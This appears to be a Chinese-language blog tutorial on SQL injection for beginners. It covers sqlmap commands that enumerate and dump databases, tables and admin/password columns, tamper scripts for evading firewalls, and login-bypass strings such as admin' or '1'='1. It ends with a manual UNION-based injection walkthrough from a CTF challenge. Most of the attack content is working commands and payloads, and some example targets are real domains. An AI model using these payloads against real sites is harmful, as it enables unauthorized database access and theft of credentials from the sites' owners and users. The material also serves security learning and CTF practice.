Sql注入基础入门(sqlmap使用和手工注入 )

Sql注入基础入门

一,get类型

	1,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" 												
	//判断get类型有无注入漏洞,"-u" 也可以换成 "-url"

	2,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"  --dbs/(-current -db)					
	//爆出所有库(当前所在库)  上述参数选择一个即可
																				
	3,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"  --tables	(-D shujukuming)					
	//爆出所有表名(爆出指定数据库的所有表)

	4,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"  --columns (-T biaomingzi	-D shujukuming)	
	//爆出所有列名(指定数据库指定表内列)

	5,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"  --dump (-C admin,password) -T biaomingzi	-D shujukuming	
	//下载admin,password列的内容

二,post类型

	sqlmap.py -r "post.txt"
		//针对post类型可以用bp抓包,保存到sqlmap文件夹,然后用此命令
	或者:
		sqlmap.py -u "http://baidu.com/admin.php" --data="id=1&name=admin"

标题三,进阶说明

1. level
	刚开始在前面说了,level 算是一共注入测试等级,一共是五级,
	级别越高,检测的内容也就越多,
	检测级别大于等于 2 时会检测 cookie 是否有注入,
	检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。
	比较推荐使用 3 等级进行测试。

2. *指定注入点
	SQLMap 可以区分一个 URL 里面的参数来进行注入点测试,
	但在遇到了一些做了伪静态的网页就无法自动识别了。
	/admin/1/ 类似于这种,SQLMap 便无法进行注入测试,
	但它实际上可能是这样的: /admin.php?id=1
	它只是把参数隐藏在了 URL 中,对于这种网页,直接在参数后加上一个星号即可。
	sqlmap.py -u "www.baidu.com/admin/1*"
	星号之后,众生平等。

3.注入测试的脚本
	使用参数:-tamper
	SQLMap 是自带了一个脚本库的,内置的脚本库对 payload 进行了混淆,
	可能有些可以有效的规避防火墙规则。
	****例如:sqlmap -u "url" --tamper="a.py"****

4.万能钥匙:
	admin'#		
	suibianshu or '1' = '1'#		
	admin' or '1'='1

标题四,手工注入流程:(一个ctf题为例)

1,id=-1' union select 1,2,3,database()					
	#得到数据库名字skctf_flag
2,通过使用 id=-1' union select 1,2,3,group_concat(table_name) from
	 information_schema.tables where table_schema=database()
	# 得到表名:fl4g,sc		
3,id=-1' union select 1,2,3,group_concat(column_name) from 
	information_schema.columns where table_name=0x666c3467# 
	//这里需要用16进制绕过   得到字段skctf_flag
4,id=-1' union select 1,2,3,skctf_flag from fl4g#		
	#得到flag,	另外order by  给列排序
	
注意:上边语句为了美观,增加回车!!!

五,数据库内置函数:

	1. version()——MySQL版本
	2. user()——用户名
	3. database()——数据库名
	4. @@datadir——数据库路径
	5. @@version_compile_os——操作系统版本
	例如:
		url + id=3UNION SELECT 1,DATABASE() %23		%23表示“#”

六,图解析版

SQLMap使用:
	https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html
手工注入:
	https://www.jianshu.com/p/268ef198d191

七,补充找注入点:

善用火狐hacker插件,连接后加 ' 或  %df'(也可能是%df,忘了  回来自己试试吧)		
主要是 后台登录和搜索框

感谢众多前辈和团队分享,才有本人在此总结。怀感恩之心,砥砺前行

发布了24 篇原创文章 · 获赞 3 · 访问量 1756

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/103646620
今日推荐